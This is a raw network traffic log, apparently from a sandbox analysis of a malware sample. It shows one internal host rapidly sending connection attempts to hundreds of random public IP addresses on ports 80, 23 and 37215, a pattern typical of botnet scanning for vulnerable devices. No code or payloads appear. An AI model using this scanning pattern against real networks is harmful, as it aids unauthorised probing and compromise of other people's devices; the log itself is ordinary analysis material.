Jan 30, 2025 10:42:59.117605925 CET	38885	80	192.168.2.13	43.80.143.49
Jan 30, 2025 10:42:59.117607117 CET	38885	80	192.168.2.13	24.193.233.169
Jan 30, 2025 10:42:59.117635012 CET	38885	80	192.168.2.13	9.117.20.213
Jan 30, 2025 10:42:59.117635965 CET	38885	80	192.168.2.13	122.192.54.168
Jan 30, 2025 10:42:59.117635965 CET	38885	80	192.168.2.13	188.7.59.138
Jan 30, 2025 10:42:59.117638111 CET	38885	80	192.168.2.13	35.179.85.198
Jan 30, 2025 10:42:59.117649078 CET	38885	80	192.168.2.13	167.164.68.241
Jan 30, 2025 10:42:59.117652893 CET	38885	80	192.168.2.13	189.102.93.197
Jan 30, 2025 10:42:59.117652893 CET	38885	80	192.168.2.13	217.39.154.144
Jan 30, 2025 10:42:59.117652893 CET	38885	80	192.168.2.13	216.239.67.149
Jan 30, 2025 10:42:59.117659092 CET	38885	80	192.168.2.13	19.100.43.248
Jan 30, 2025 10:42:59.117655993 CET	38885	80	192.168.2.13	162.87.87.190
Jan 30, 2025 10:42:59.117660046 CET	38885	80	192.168.2.13	49.249.60.161
Jan 30, 2025 10:42:59.117655993 CET	38885	80	192.168.2.13	197.17.15.189
Jan 30, 2025 10:42:59.117659092 CET	38885	80	192.168.2.13	2.193.82.202
Jan 30, 2025 10:42:59.117660046 CET	38885	80	192.168.2.13	47.15.254.89
Jan 30, 2025 10:42:59.117670059 CET	38885	80	192.168.2.13	139.245.138.15
Jan 30, 2025 10:42:59.117671967 CET	38885	80	192.168.2.13	76.23.251.225
Jan 30, 2025 10:42:59.117671967 CET	38885	80	192.168.2.13	97.191.58.213
Jan 30, 2025 10:42:59.117672920 CET	38885	80	192.168.2.13	138.219.129.169
Jan 30, 2025 10:42:59.117672920 CET	38885	80	192.168.2.13	86.156.200.249
Jan 30, 2025 10:42:59.117672920 CET	38885	80	192.168.2.13	167.17.132.209
Jan 30, 2025 10:42:59.117686987 CET	38885	80	192.168.2.13	39.85.98.150
Jan 30, 2025 10:42:59.117691994 CET	38885	80	192.168.2.13	145.198.45.49
Jan 30, 2025 10:42:59.117691994 CET	38885	80	192.168.2.13	185.227.128.58
Jan 30, 2025 10:42:59.117695093 CET	38885	80	192.168.2.13	67.82.101.166
Jan 30, 2025 10:42:59.117707014 CET	38885	80	192.168.2.13	37.183.183.193
Jan 30, 2025 10:42:59.117721081 CET	38885	80	192.168.2.13	12.232.57.203
Jan 30, 2025 10:42:59.117721081 CET	38885	80	192.168.2.13	101.45.186.147
Jan 30, 2025 10:42:59.117721081 CET	38885	80	192.168.2.13	47.140.124.180
Jan 30, 2025 10:42:59.117722034 CET	38885	80	192.168.2.13	138.132.142.243
Jan 30, 2025 10:42:59.117724895 CET	38885	80	192.168.2.13	209.67.144.30
Jan 30, 2025 10:42:59.117727041 CET	38885	80	192.168.2.13	192.126.63.177
Jan 30, 2025 10:42:59.117728949 CET	38885	80	192.168.2.13	23.38.69.10
Jan 30, 2025 10:42:59.117728949 CET	38885	80	192.168.2.13	4.55.204.104
Jan 30, 2025 10:42:59.117728949 CET	38885	80	192.168.2.13	62.169.174.135
Jan 30, 2025 10:42:59.117733955 CET	38885	80	192.168.2.13	39.193.63.83
Jan 30, 2025 10:42:59.117742062 CET	38885	80	192.168.2.13	182.209.6.69
Jan 30, 2025 10:42:59.117773056 CET	38885	80	192.168.2.13	87.219.80.194
Jan 30, 2025 10:42:59.117774010 CET	38885	80	192.168.2.13	88.45.166.97
Jan 30, 2025 10:42:59.117778063 CET	38885	80	192.168.2.13	63.154.216.18
Jan 30, 2025 10:42:59.117782116 CET	38885	80	192.168.2.13	20.28.226.234
Jan 30, 2025 10:42:59.117789030 CET	38885	80	192.168.2.13	220.177.135.198
Jan 30, 2025 10:42:59.117791891 CET	38885	80	192.168.2.13	47.230.160.213
Jan 30, 2025 10:42:59.117795944 CET	38885	80	192.168.2.13	151.45.154.249
Jan 30, 2025 10:42:59.117796898 CET	38885	80	192.168.2.13	146.158.243.162
Jan 30, 2025 10:42:59.117799997 CET	38885	80	192.168.2.13	143.84.22.253
Jan 30, 2025 10:42:59.117800951 CET	38885	80	192.168.2.13	134.84.201.227
Jan 30, 2025 10:42:59.117799997 CET	38885	80	192.168.2.13	81.115.88.118
Jan 30, 2025 10:42:59.117800951 CET	38885	80	192.168.2.13	138.160.118.56
Jan 30, 2025 10:42:59.117799997 CET	38885	80	192.168.2.13	186.230.228.91
Jan 30, 2025 10:42:59.117799997 CET	38885	80	192.168.2.13	71.239.73.217
Jan 30, 2025 10:42:59.117810011 CET	38885	80	192.168.2.13	217.204.61.13
Jan 30, 2025 10:42:59.117813110 CET	38885	80	192.168.2.13	190.230.192.132
Jan 30, 2025 10:42:59.117825985 CET	38885	80	192.168.2.13	168.59.170.45
Jan 30, 2025 10:42:59.117825985 CET	38885	80	192.168.2.13	179.92.169.124
Jan 30, 2025 10:42:59.117825985 CET	38885	80	192.168.2.13	66.111.150.151
Jan 30, 2025 10:42:59.117825985 CET	38885	80	192.168.2.13	92.64.112.70
Jan 30, 2025 10:42:59.117842913 CET	38885	80	192.168.2.13	50.69.69.252
Jan 30, 2025 10:42:59.117846012 CET	38885	80	192.168.2.13	93.229.54.216
Jan 30, 2025 10:42:59.117851019 CET	38885	80	192.168.2.13	54.204.35.62
Jan 30, 2025 10:42:59.117852926 CET	38885	80	192.168.2.13	83.146.223.184
Jan 30, 2025 10:42:59.117852926 CET	38885	80	192.168.2.13	213.124.147.48
Jan 30, 2025 10:42:59.117856026 CET	38885	80	192.168.2.13	12.226.136.201
Jan 30, 2025 10:42:59.117854118 CET	38885	80	192.168.2.13	41.29.144.202
Jan 30, 2025 10:42:59.117854118 CET	38885	80	192.168.2.13	70.27.77.95
Jan 30, 2025 10:42:59.117860079 CET	38885	80	192.168.2.13	139.148.100.227
Jan 30, 2025 10:42:59.117867947 CET	38885	80	192.168.2.13	155.7.38.221
Jan 30, 2025 10:42:59.117867947 CET	38885	80	192.168.2.13	141.60.98.128
Jan 30, 2025 10:42:59.117867947 CET	38885	80	192.168.2.13	34.89.171.122
Jan 30, 2025 10:42:59.117893934 CET	38885	80	192.168.2.13	69.198.241.189
Jan 30, 2025 10:42:59.117894888 CET	38885	80	192.168.2.13	19.31.205.143
Jan 30, 2025 10:42:59.117896080 CET	38885	80	192.168.2.13	138.129.65.146
Jan 30, 2025 10:42:59.117896080 CET	41036	23	192.168.2.13	165.189.203.132
Jan 30, 2025 10:42:59.117913008 CET	38885	80	192.168.2.13	207.213.244.163
Jan 30, 2025 10:42:59.117913008 CET	38885	80	192.168.2.13	111.240.85.102
Jan 30, 2025 10:42:59.117913961 CET	38885	80	192.168.2.13	184.91.175.180
Jan 30, 2025 10:42:59.117913008 CET	38885	80	192.168.2.13	4.145.6.27
Jan 30, 2025 10:42:59.117918968 CET	38885	80	192.168.2.13	149.5.105.168
Jan 30, 2025 10:42:59.117918015 CET	38885	80	192.168.2.13	8.210.21.135
Jan 30, 2025 10:42:59.117924929 CET	38885	80	192.168.2.13	221.143.184.110
Jan 30, 2025 10:42:59.117934942 CET	38885	80	192.168.2.13	47.164.11.71
Jan 30, 2025 10:42:59.117940903 CET	38885	80	192.168.2.13	91.132.244.161
Jan 30, 2025 10:42:59.117943048 CET	38885	80	192.168.2.13	154.86.71.88
Jan 30, 2025 10:42:59.117949009 CET	38885	80	192.168.2.13	166.107.111.110
Jan 30, 2025 10:42:59.117950916 CET	38885	80	192.168.2.13	130.108.19.135
Jan 30, 2025 10:42:59.117952108 CET	38885	80	192.168.2.13	101.170.23.172
Jan 30, 2025 10:42:59.117968082 CET	38885	80	192.168.2.13	181.131.77.151
Jan 30, 2025 10:42:59.117983103 CET	38885	80	192.168.2.13	57.14.67.31
Jan 30, 2025 10:42:59.117985964 CET	38885	80	192.168.2.13	197.86.81.184
Jan 30, 2025 10:42:59.117986917 CET	38885	80	192.168.2.13	31.71.179.250
Jan 30, 2025 10:42:59.117986917 CET	38885	80	192.168.2.13	202.46.14.231
Jan 30, 2025 10:42:59.117989063 CET	38885	80	192.168.2.13	176.43.154.165
Jan 30, 2025 10:42:59.117989063 CET	38885	80	192.168.2.13	126.164.150.91
Jan 30, 2025 10:42:59.118000031 CET	38885	80	192.168.2.13	116.216.188.107
Jan 30, 2025 10:42:59.118000031 CET	38885	80	192.168.2.13	37.182.174.14
Jan 30, 2025 10:42:59.118001938 CET	38885	80	192.168.2.13	5.188.102.98
Jan 30, 2025 10:42:59.118001938 CET	38885	80	192.168.2.13	66.209.117.141
Jan 30, 2025 10:42:59.118012905 CET	38885	80	192.168.2.13	48.109.123.254
Jan 30, 2025 10:42:59.118014097 CET	38885	80	192.168.2.13	71.254.232.8
Jan 30, 2025 10:42:59.118022919 CET	38885	80	192.168.2.13	172.59.220.8
Jan 30, 2025 10:42:59.118032932 CET	38885	80	192.168.2.13	62.94.97.127
Jan 30, 2025 10:42:59.118040085 CET	38885	80	192.168.2.13	186.79.160.243
Jan 30, 2025 10:42:59.118041039 CET	38885	80	192.168.2.13	5.253.118.158
Jan 30, 2025 10:42:59.118043900 CET	38885	80	192.168.2.13	35.63.127.4
Jan 30, 2025 10:42:59.118046999 CET	38885	80	192.168.2.13	25.19.156.175
Jan 30, 2025 10:42:59.118047953 CET	38885	80	192.168.2.13	202.200.92.96
Jan 30, 2025 10:42:59.118053913 CET	38885	80	192.168.2.13	99.247.1.64
Jan 30, 2025 10:42:59.118065119 CET	38885	80	192.168.2.13	123.165.138.81
Jan 30, 2025 10:42:59.118086100 CET	38885	80	192.168.2.13	201.43.174.160
Jan 30, 2025 10:42:59.118089914 CET	38885	80	192.168.2.13	181.195.32.76
Jan 30, 2025 10:42:59.118091106 CET	38885	80	192.168.2.13	178.102.149.194
Jan 30, 2025 10:42:59.118098021 CET	38885	80	192.168.2.13	218.104.142.172
Jan 30, 2025 10:42:59.118099928 CET	38885	80	192.168.2.13	153.103.255.145
Jan 30, 2025 10:42:59.118102074 CET	38885	80	192.168.2.13	74.183.210.158
Jan 30, 2025 10:42:59.118102074 CET	38885	80	192.168.2.13	5.239.83.162
Jan 30, 2025 10:42:59.118123055 CET	38885	80	192.168.2.13	78.42.129.109
Jan 30, 2025 10:42:59.118124008 CET	38885	80	192.168.2.13	50.170.159.69
Jan 30, 2025 10:42:59.118124008 CET	38885	80	192.168.2.13	50.48.72.14
Jan 30, 2025 10:42:59.118124008 CET	38885	80	192.168.2.13	84.136.64.123
Jan 30, 2025 10:42:59.118124008 CET	38885	80	192.168.2.13	105.41.233.175
Jan 30, 2025 10:42:59.118124008 CET	38885	80	192.168.2.13	65.131.107.145
Jan 30, 2025 10:42:59.118134022 CET	38885	80	192.168.2.13	4.60.22.7
Jan 30, 2025 10:42:59.118134022 CET	38885	80	192.168.2.13	174.154.202.32
Jan 30, 2025 10:42:59.118138075 CET	38885	80	192.168.2.13	123.168.80.7
Jan 30, 2025 10:42:59.118139982 CET	38885	80	192.168.2.13	18.104.6.118
Jan 30, 2025 10:42:59.118139982 CET	38885	80	192.168.2.13	9.174.11.116
Jan 30, 2025 10:42:59.118139982 CET	38885	80	192.168.2.13	169.248.142.0
Jan 30, 2025 10:42:59.118143082 CET	38885	80	192.168.2.13	172.61.162.201
Jan 30, 2025 10:42:59.118143082 CET	38885	80	192.168.2.13	179.93.28.132
Jan 30, 2025 10:42:59.118143082 CET	38885	80	192.168.2.13	74.181.194.153
Jan 30, 2025 10:42:59.118151903 CET	38885	80	192.168.2.13	121.98.79.70
Jan 30, 2025 10:42:59.118165016 CET	38885	80	192.168.2.13	35.60.203.134
Jan 30, 2025 10:42:59.118169069 CET	38885	80	192.168.2.13	40.88.55.180
Jan 30, 2025 10:42:59.118169069 CET	38885	80	192.168.2.13	104.187.210.46
Jan 30, 2025 10:42:59.118170977 CET	38885	80	192.168.2.13	183.135.173.36
Jan 30, 2025 10:42:59.118174076 CET	38885	80	192.168.2.13	134.61.53.163
Jan 30, 2025 10:42:59.118180990 CET	38885	80	192.168.2.13	171.216.85.106
Jan 30, 2025 10:42:59.118180990 CET	38885	80	192.168.2.13	102.215.219.29
Jan 30, 2025 10:42:59.118180990 CET	38885	80	192.168.2.13	78.65.244.165
Jan 30, 2025 10:42:59.118181944 CET	38885	80	192.168.2.13	72.173.0.49
Jan 30, 2025 10:42:59.118201017 CET	38885	80	192.168.2.13	202.109.176.193
Jan 30, 2025 10:42:59.118216991 CET	38885	80	192.168.2.13	81.131.192.222
Jan 30, 2025 10:42:59.118216991 CET	38885	80	192.168.2.13	42.148.40.104
Jan 30, 2025 10:42:59.118221998 CET	38885	80	192.168.2.13	73.92.150.30
Jan 30, 2025 10:42:59.118223906 CET	38885	80	192.168.2.13	5.5.118.88
Jan 30, 2025 10:42:59.118232012 CET	38885	80	192.168.2.13	57.83.174.233
Jan 30, 2025 10:42:59.118232965 CET	38885	80	192.168.2.13	47.95.191.239
Jan 30, 2025 10:42:59.118236065 CET	38885	80	192.168.2.13	101.0.235.65
Jan 30, 2025 10:42:59.118242979 CET	38885	80	192.168.2.13	151.181.131.241
Jan 30, 2025 10:42:59.118242979 CET	38885	80	192.168.2.13	20.66.202.180
Jan 30, 2025 10:42:59.118246078 CET	38885	80	192.168.2.13	196.197.229.16
Jan 30, 2025 10:42:59.118247986 CET	38885	80	192.168.2.13	73.119.131.40
Jan 30, 2025 10:42:59.118254900 CET	38885	80	192.168.2.13	14.95.221.5
Jan 30, 2025 10:42:59.118269920 CET	38885	80	192.168.2.13	210.107.176.107
Jan 30, 2025 10:42:59.118273020 CET	38885	80	192.168.2.13	161.149.110.159
Jan 30, 2025 10:42:59.118273020 CET	38885	80	192.168.2.13	13.69.38.203
Jan 30, 2025 10:42:59.118274927 CET	38885	80	192.168.2.13	210.33.135.212
Jan 30, 2025 10:42:59.118275881 CET	38885	80	192.168.2.13	157.151.52.200
Jan 30, 2025 10:42:59.118275881 CET	38885	80	192.168.2.13	92.219.17.49
Jan 30, 2025 10:42:59.118277073 CET	38885	80	192.168.2.13	124.184.224.87
Jan 30, 2025 10:42:59.118277073 CET	38885	80	192.168.2.13	208.25.176.192
Jan 30, 2025 10:42:59.118282080 CET	38885	80	192.168.2.13	177.154.91.35
Jan 30, 2025 10:42:59.118288994 CET	38885	80	192.168.2.13	222.177.193.9
Jan 30, 2025 10:42:59.118288994 CET	38885	80	192.168.2.13	5.145.193.105
Jan 30, 2025 10:42:59.118299961 CET	38885	80	192.168.2.13	160.67.183.134
Jan 30, 2025 10:42:59.118299961 CET	38885	80	192.168.2.13	172.176.178.253
Jan 30, 2025 10:42:59.118299961 CET	38885	80	192.168.2.13	116.141.159.247
Jan 30, 2025 10:42:59.118302107 CET	38885	80	192.168.2.13	174.74.183.216
Jan 30, 2025 10:42:59.118302107 CET	38885	80	192.168.2.13	192.203.142.132
Jan 30, 2025 10:42:59.118309975 CET	38885	80	192.168.2.13	217.207.84.218
Jan 30, 2025 10:42:59.118316889 CET	38885	80	192.168.2.13	90.38.25.47
Jan 30, 2025 10:42:59.118330956 CET	38885	80	192.168.2.13	46.2.11.8
Jan 30, 2025 10:42:59.118335009 CET	38885	80	192.168.2.13	165.209.41.205
Jan 30, 2025 10:42:59.118339062 CET	38885	80	192.168.2.13	157.177.100.141
Jan 30, 2025 10:42:59.118340015 CET	38885	80	192.168.2.13	223.68.38.6
Jan 30, 2025 10:42:59.118340015 CET	38885	80	192.168.2.13	91.174.110.83
Jan 30, 2025 10:42:59.118343115 CET	38885	80	192.168.2.13	167.56.152.28
Jan 30, 2025 10:42:59.118357897 CET	38885	80	192.168.2.13	171.22.108.142
Jan 30, 2025 10:42:59.118364096 CET	38885	80	192.168.2.13	8.198.110.146
Jan 30, 2025 10:42:59.118364096 CET	38885	80	192.168.2.13	43.143.5.102
Jan 30, 2025 10:42:59.119669914 CET	55392	23	192.168.2.13	145.186.17.166
Jan 30, 2025 10:42:59.119807005 CET	60200	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:42:59.123258114 CET	54802	23	192.168.2.13	198.23.41.130
Jan 30, 2025 10:42:59.123550892 CET	57794	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:42:59.124694109 CET	23	55392	145.186.17.166	192.168.2.13
Jan 30, 2025 10:42:59.124739885 CET	55392	23	192.168.2.13	145.186.17.166
Jan 30, 2025 10:42:59.126060963 CET	45484	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:42:59.126291990 CET	41914	23	192.168.2.13	212.179.37.162
Jan 30, 2025 10:42:59.127784967 CET	38811	37215	192.168.2.13	156.152.136.52
Jan 30, 2025 10:42:59.127799988 CET	38811	37215	192.168.2.13	156.168.206.28
Jan 30, 2025 10:42:59.127799034 CET	38811	37215	192.168.2.13	156.89.80.169
Jan 30, 2025 10:42:59.127799988 CET	38811	37215	192.168.2.13	197.140.247.46
Jan 30, 2025 10:42:59.127799034 CET	38811	37215	192.168.2.13	197.55.205.182
Jan 30, 2025 10:42:59.127804995 CET	38811	37215	192.168.2.13	41.81.130.143
Jan 30, 2025 10:42:59.127806902 CET	38811	37215	192.168.2.13	41.133.181.143
Jan 30, 2025 10:42:59.127809048 CET	38811	37215	192.168.2.13	41.49.114.100
Jan 30, 2025 10:42:59.127809048 CET	38811	37215	192.168.2.13	197.23.234.99
Jan 30, 2025 10:42:59.127809048 CET	38811	37215	192.168.2.13	197.131.12.108
Jan 30, 2025 10:42:59.127815962 CET	38811	37215	192.168.2.13	197.165.138.240
Jan 30, 2025 10:42:59.127821922 CET	38811	37215	192.168.2.13	41.21.230.144
Jan 30, 2025 10:42:59.127829075 CET	38811	37215	192.168.2.13	156.226.16.216
Jan 30, 2025 10:42:59.127837896 CET	38811	37215	192.168.2.13	156.145.129.26
Jan 30, 2025 10:42:59.127839088 CET	38811	37215	192.168.2.13	41.202.164.222
Jan 30, 2025 10:42:59.127837896 CET	38811	37215	192.168.2.13	41.113.178.27
Jan 30, 2025 10:42:59.127840042 CET	38811	37215	192.168.2.13	197.179.20.98
Jan 30, 2025 10:42:59.127840996 CET	38811	37215	192.168.2.13	41.19.141.133
Jan 30, 2025 10:42:59.127856970 CET	38811	37215	192.168.2.13	156.83.25.222
Jan 30, 2025 10:42:59.127860069 CET	38811	37215	192.168.2.13	197.91.63.235
Jan 30, 2025 10:42:59.127860069 CET	38811	37215	192.168.2.13	156.241.59.3
Jan 30, 2025 10:42:59.127863884 CET	38811	37215	192.168.2.13	197.13.45.110
Jan 30, 2025 10:42:59.127875090 CET	38811	37215	192.168.2.13	197.185.163.121
Jan 30, 2025 10:42:59.127876043 CET	38811	37215	192.168.2.13	197.194.141.129
Jan 30, 2025 10:42:59.127878904 CET	38811	37215	192.168.2.13	41.32.145.86
Jan 30, 2025 10:42:59.127882004 CET	38811	37215	192.168.2.13	156.123.214.16
Jan 30, 2025 10:42:59.127883911 CET	38811	37215	192.168.2.13	41.100.190.139
Jan 30, 2025 10:42:59.127883911 CET	38811	37215	192.168.2.13	41.92.229.24
Jan 30, 2025 10:42:59.127892017 CET	38811	37215	192.168.2.13	197.237.247.65
Jan 30, 2025 10:42:59.127898932 CET	38811	37215	192.168.2.13	41.38.63.90
Jan 30, 2025 10:42:59.127903938 CET	38811	37215	192.168.2.13	41.106.157.203
Jan 30, 2025 10:42:59.127911091 CET	38811	37215	192.168.2.13	156.71.49.37
Jan 30, 2025 10:42:59.127911091 CET	38811	37215	192.168.2.13	156.225.117.30
Jan 30, 2025 10:42:59.127912045 CET	38811	37215	192.168.2.13	41.68.234.119
Jan 30, 2025 10:42:59.127912998 CET	38811	37215	192.168.2.13	197.16.201.164
Jan 30, 2025 10:42:59.127912998 CET	38811	37215	192.168.2.13	197.246.48.135
Jan 30, 2025 10:42:59.127945900 CET	38811	37215	192.168.2.13	197.20.206.131
Jan 30, 2025 10:42:59.127959013 CET	38811	37215	192.168.2.13	41.51.219.45
Jan 30, 2025 10:42:59.127966881 CET	38811	37215	192.168.2.13	41.14.171.125
Jan 30, 2025 10:42:59.127979040 CET	38811	37215	192.168.2.13	41.247.110.92
Jan 30, 2025 10:42:59.127979994 CET	38811	37215	192.168.2.13	41.171.138.138
Jan 30, 2025 10:42:59.127980947 CET	38811	37215	192.168.2.13	41.86.122.54
Jan 30, 2025 10:42:59.127980947 CET	38811	37215	192.168.2.13	41.133.123.66
Jan 30, 2025 10:42:59.127983093 CET	38811	37215	192.168.2.13	156.139.163.164
Jan 30, 2025 10:42:59.127983093 CET	38811	37215	192.168.2.13	41.34.29.162
Jan 30, 2025 10:42:59.127983093 CET	38811	37215	192.168.2.13	197.68.55.106
Jan 30, 2025 10:42:59.127986908 CET	38811	37215	192.168.2.13	156.93.245.218
Jan 30, 2025 10:42:59.127988100 CET	38811	37215	192.168.2.13	156.185.31.240
Jan 30, 2025 10:42:59.127990961 CET	38811	37215	192.168.2.13	41.23.210.56
Jan 30, 2025 10:42:59.127990961 CET	38811	37215	192.168.2.13	156.10.33.83
Jan 30, 2025 10:42:59.127990961 CET	38811	37215	192.168.2.13	41.213.107.252
Jan 30, 2025 10:42:59.128000021 CET	38811	37215	192.168.2.13	197.232.31.166
Jan 30, 2025 10:42:59.128000021 CET	38811	37215	192.168.2.13	197.126.170.37
Jan 30, 2025 10:42:59.128010035 CET	38811	37215	192.168.2.13	156.240.35.209
Jan 30, 2025 10:42:59.128011942 CET	38811	37215	192.168.2.13	41.70.145.139
Jan 30, 2025 10:42:59.128014088 CET	38811	37215	192.168.2.13	41.75.127.93
Jan 30, 2025 10:42:59.128021002 CET	38811	37215	192.168.2.13	197.213.35.127
Jan 30, 2025 10:42:59.128027916 CET	38811	37215	192.168.2.13	197.166.79.213
Jan 30, 2025 10:42:59.128029108 CET	38811	37215	192.168.2.13	197.132.28.199
Jan 30, 2025 10:42:59.128029108 CET	38811	37215	192.168.2.13	197.33.126.212
Jan 30, 2025 10:42:59.128031969 CET	38811	37215	192.168.2.13	41.137.11.51
Jan 30, 2025 10:42:59.128031969 CET	38811	37215	192.168.2.13	156.67.248.39
Jan 30, 2025 10:42:59.128031969 CET	38811	37215	192.168.2.13	197.76.17.30
Jan 30, 2025 10:42:59.128031969 CET	38811	37215	192.168.2.13	41.158.46.238
Jan 30, 2025 10:42:59.128040075 CET	38811	37215	192.168.2.13	197.56.136.174
Jan 30, 2025 10:42:59.128047943 CET	38811	37215	192.168.2.13	197.226.120.23
Jan 30, 2025 10:42:59.128050089 CET	38811	37215	192.168.2.13	197.23.56.221
Jan 30, 2025 10:42:59.128060102 CET	38811	37215	192.168.2.13	197.169.117.120
Jan 30, 2025 10:42:59.128060102 CET	38811	37215	192.168.2.13	41.152.178.47
Jan 30, 2025 10:42:59.128086090 CET	38811	37215	192.168.2.13	41.103.67.90
Jan 30, 2025 10:42:59.128087997 CET	38811	37215	192.168.2.13	156.182.169.175
Jan 30, 2025 10:42:59.128115892 CET	38811	37215	192.168.2.13	197.146.53.127
Jan 30, 2025 10:42:59.128115892 CET	38811	37215	192.168.2.13	197.43.253.118
Jan 30, 2025 10:42:59.128117085 CET	38811	37215	192.168.2.13	41.33.115.193
Jan 30, 2025 10:42:59.128118038 CET	38811	37215	192.168.2.13	156.11.122.104
Jan 30, 2025 10:42:59.128118992 CET	38811	37215	192.168.2.13	197.136.64.6
Jan 30, 2025 10:42:59.128124952 CET	38811	37215	192.168.2.13	156.52.187.137
Jan 30, 2025 10:42:59.128127098 CET	38811	37215	192.168.2.13	41.165.222.177
Jan 30, 2025 10:42:59.128135920 CET	38811	37215	192.168.2.13	197.136.15.166
Jan 30, 2025 10:42:59.128135920 CET	38811	37215	192.168.2.13	197.39.47.48
Jan 30, 2025 10:42:59.128137112 CET	38811	37215	192.168.2.13	156.54.158.103
Jan 30, 2025 10:42:59.128143072 CET	38811	37215	192.168.2.13	156.76.161.116
Jan 30, 2025 10:42:59.128145933 CET	38811	37215	192.168.2.13	156.133.185.70
Jan 30, 2025 10:42:59.128148079 CET	38811	37215	192.168.2.13	197.38.98.85
Jan 30, 2025 10:42:59.128166914 CET	38811	37215	192.168.2.13	156.251.30.18
Jan 30, 2025 10:42:59.128166914 CET	38811	37215	192.168.2.13	156.75.98.184
Jan 30, 2025 10:42:59.128169060 CET	38811	37215	192.168.2.13	156.101.85.208
Jan 30, 2025 10:42:59.128170967 CET	38811	37215	192.168.2.13	197.132.244.87
Jan 30, 2025 10:42:59.128173113 CET	38811	37215	192.168.2.13	156.117.5.226
Jan 30, 2025 10:42:59.128180981 CET	38811	37215	192.168.2.13	41.216.121.18
Jan 30, 2025 10:42:59.128189087 CET	38811	37215	192.168.2.13	156.132.123.238
Jan 30, 2025 10:42:59.128189087 CET	38811	37215	192.168.2.13	41.47.119.247
Jan 30, 2025 10:42:59.128190994 CET	38811	37215	192.168.2.13	197.109.71.7
Jan 30, 2025 10:42:59.128190994 CET	38811	37215	192.168.2.13	156.104.132.225
Jan 30, 2025 10:42:59.128206015 CET	38811	37215	192.168.2.13	197.241.240.216
Jan 30, 2025 10:42:59.128215075 CET	38811	37215	192.168.2.13	156.239.127.5
Jan 30, 2025 10:42:59.128221989 CET	38811	37215	192.168.2.13	197.142.161.131
Jan 30, 2025 10:42:59.128233910 CET	38811	37215	192.168.2.13	156.102.133.160
Jan 30, 2025 10:42:59.128233910 CET	38811	37215	192.168.2.13	41.221.1.197
Jan 30, 2025 10:42:59.128236055 CET	38811	37215	192.168.2.13	156.184.190.31
Jan 30, 2025 10:42:59.128236055 CET	38811	37215	192.168.2.13	156.109.173.5
Jan 30, 2025 10:42:59.128252029 CET	38811	37215	192.168.2.13	156.94.110.32
Jan 30, 2025 10:42:59.128256083 CET	38811	37215	192.168.2.13	41.7.56.79
Jan 30, 2025 10:42:59.128272057 CET	38811	37215	192.168.2.13	41.147.42.9
Jan 30, 2025 10:42:59.128284931 CET	38811	37215	192.168.2.13	197.233.11.137
Jan 30, 2025 10:42:59.128285885 CET	38811	37215	192.168.2.13	41.224.198.223
Jan 30, 2025 10:42:59.128285885 CET	38811	37215	192.168.2.13	41.103.210.152
Jan 30, 2025 10:42:59.128285885 CET	38811	37215	192.168.2.13	156.153.237.73
Jan 30, 2025 10:42:59.128288984 CET	38811	37215	192.168.2.13	41.44.58.52
Jan 30, 2025 10:42:59.128288984 CET	38811	37215	192.168.2.13	197.35.153.64
Jan 30, 2025 10:42:59.128289938 CET	38811	37215	192.168.2.13	156.245.3.152
Jan 30, 2025 10:42:59.128288984 CET	38811	37215	192.168.2.13	197.32.170.116
Jan 30, 2025 10:42:59.128288984 CET	38811	37215	192.168.2.13	197.48.152.101
Jan 30, 2025 10:42:59.128293991 CET	38811	37215	192.168.2.13	156.151.48.50
Jan 30, 2025 10:42:59.128309965 CET	38811	37215	192.168.2.13	41.241.152.95
Jan 30, 2025 10:42:59.128310919 CET	38811	37215	192.168.2.13	197.12.107.37
Jan 30, 2025 10:42:59.128310919 CET	38811	37215	192.168.2.13	197.113.42.250
Jan 30, 2025 10:42:59.128309965 CET	38811	37215	192.168.2.13	156.52.76.165
Jan 30, 2025 10:42:59.128313065 CET	38811	37215	192.168.2.13	156.51.189.206
Jan 30, 2025 10:42:59.128329039 CET	38811	37215	192.168.2.13	156.224.60.147
Jan 30, 2025 10:42:59.128329992 CET	38811	37215	192.168.2.13	41.247.53.92
Jan 30, 2025 10:42:59.128329992 CET	38811	37215	192.168.2.13	197.47.89.34
Jan 30, 2025 10:42:59.128333092 CET	38811	37215	192.168.2.13	41.131.227.122
Jan 30, 2025 10:42:59.128339052 CET	38811	37215	192.168.2.13	156.125.66.251
Jan 30, 2025 10:42:59.128350019 CET	38811	37215	192.168.2.13	41.198.238.195
Jan 30, 2025 10:42:59.128350973 CET	38811	37215	192.168.2.13	41.212.1.88
Jan 30, 2025 10:42:59.128354073 CET	38811	37215	192.168.2.13	156.29.147.93
Jan 30, 2025 10:42:59.128355026 CET	38811	37215	192.168.2.13	197.235.89.37
Jan 30, 2025 10:42:59.128381014 CET	38811	37215	192.168.2.13	41.129.167.63
Jan 30, 2025 10:42:59.128381968 CET	38811	37215	192.168.2.13	41.2.34.167
Jan 30, 2025 10:42:59.128381968 CET	38811	37215	192.168.2.13	41.193.160.203
Jan 30, 2025 10:42:59.128387928 CET	38811	37215	192.168.2.13	197.9.14.165
Jan 30, 2025 10:42:59.128393888 CET	38811	37215	192.168.2.13	197.36.234.8
Jan 30, 2025 10:42:59.128393888 CET	38811	37215	192.168.2.13	41.187.26.253
Jan 30, 2025 10:42:59.128393888 CET	38811	37215	192.168.2.13	156.212.251.153
Jan 30, 2025 10:42:59.128400087 CET	38811	37215	192.168.2.13	156.72.52.46
Jan 30, 2025 10:42:59.128403902 CET	38811	37215	192.168.2.13	41.201.29.69
Jan 30, 2025 10:42:59.128406048 CET	38811	37215	192.168.2.13	41.32.120.76
Jan 30, 2025 10:42:59.128415108 CET	38811	37215	192.168.2.13	41.127.41.125
Jan 30, 2025 10:42:59.128421068 CET	38811	37215	192.168.2.13	41.226.189.179
Jan 30, 2025 10:42:59.128421068 CET	38811	37215	192.168.2.13	197.123.187.36
Jan 30, 2025 10:42:59.128421068 CET	38811	37215	192.168.2.13	156.155.135.42
Jan 30, 2025 10:42:59.128422022 CET	38811	37215	192.168.2.13	156.88.41.127
Jan 30, 2025 10:42:59.128432989 CET	38811	37215	192.168.2.13	41.129.166.177
Jan 30, 2025 10:42:59.128434896 CET	38811	37215	192.168.2.13	197.164.231.18
Jan 30, 2025 10:42:59.128436089 CET	38811	37215	192.168.2.13	41.41.55.44
Jan 30, 2025 10:42:59.128436089 CET	38811	37215	192.168.2.13	41.131.172.228
Jan 30, 2025 10:42:59.128447056 CET	38811	37215	192.168.2.13	41.133.253.186
